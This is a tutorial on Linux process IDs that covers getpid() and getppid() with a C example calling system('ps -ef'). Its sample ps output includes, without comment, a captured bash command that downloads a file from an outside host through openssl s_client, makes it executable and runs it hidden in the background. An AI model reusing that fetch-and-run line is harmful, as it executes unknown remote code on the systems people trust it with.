Before we go into process information, we need to know a few things, such as −
What is a process? A process is a program in execution.
What is a program? A program is a file containing the information of a process and how to build it during run time. When you start execution of the program, it is loaded into RAM and starts executing.
Each process is identified with a unique positive integer called as process ID or simply PID (Process Identification number). The kernel usually limits the process ID to 32767, which is configurable. When the process ID reaches this limit, it is reset again, which is after the system processes range. The unused process IDs from that counter are then assigned to newly created processes.
The system call getpid() returns the process ID of the calling process.
#include <sys/types.h> #include <unistd.h> pid_t getpid(void);
This call returns the process ID of the calling process which is guaranteed to be unique. This call is always successful and thus no return value to indicate an error.
Each process has its unique ID called process ID that is fine but who created it? How to get information about its creator? Creator process is called the parent process. Parent ID or PPID can be obtained through getppid() call.
The system call getppid() returns the Parent PID of the calling process.
#include <sys/types.h> #include <unistd.h> pid_t getppid(void);
This call returns the parent process ID of the calling process. This call is always successful and thus no return value to indicate an error.
Let us understand this with a simple example.
Following is a program to know the PID and PPID of the calling process.
File name: processinfo.c #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> int main() { int mypid, myppid; printf("Program to know PID and PPID's information\n"); mypid = getpid(); myppid = getppid(); printf("My process ID is %d\n", mypid); printf("My parent process ID is %d\n", myppid); printf("Cross verification of pid's by executing process commands on shell\n"); system("ps -ef"); return 0; }
On compilation and execution of the above program, following will be the output.
UID PID PPID C STIME TTY TIME CMD root 1 0 0 2017 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe mysql 101 1 0 2017 ? 00:06:06 /usr/libexec/mysqld --basedir = /usr --datadir = /var/lib/mysql --plugin-dir = /usr/lib64/mysql/plugin --user = mysql --log-error = /var/log/mariadb/mariadb.log --pid-file = /run/mariadb/mariadb.pid --socket = /var/lib/mysql/mysql.sock 2868535 96284 0 0 05:23 ? 00:00:00 bash -c download() { flag = "false" hsize = 1 echo -e "GET /$2 HTTP/1.1\nHost: $1\nConnection: close\n\n" | openssl s_client -timeout -quiet -verify_quiet -connect $1:443 2> /dev/null | tee out | while read line do if [[ "$flag" == "false" ]] then hsize = $((hsize+$(echo $line | wc -c))) fi if [[ "${line:1:1}" == "" ]] then flag = "true" fi echo $hsize > size done tail -c +$(cat size) out > $2 rm size out } ( download my.mixtape.moe mhawum 2> /dev/null chmod +x mhawum 2> /dev/null ./mhawum > /dev/null 2> /dev/null )& 2868535 96910 96284 99 05:23 ? 00:47:26 ./mhawum 6118874 104116 0 3 05:25 ? 00:00:00 sh -c cd /home/cg/root/6118874; timeout 10s javac Puppy.java 6118874 104122 104116 0 05:25 ? 00:00:00 timeout 10s javac Puppy.java 6118874 104123 104122 23 05:25 ? 00:00:00 javac Puppy.java 3787205 104169 0 0 05:25 ? 00:00:00 sh -c cd /home/cg/root/3787205; timeout 10s main 3787205 104175 104169 0 05:25 ? 00:00:00 timeout 10s main 3787205 104176 104175 0 05:25 ? 00:00:00 main 3787205 104177 104176 0 05:25 ? 00:00:00 ps -ef Program to know PID and PPID's information My process ID is 104176 My parent process ID is 104175 Cross verification of pid's by executing process commands on shell
Note − The “C” library function system() executes a shell command. The arguments passed to system() are commands executed on shell. In the above program, command is “ps”, which gives process status.
The complete information about all running processes and other system related information are accessible from proc file system available at /proc location.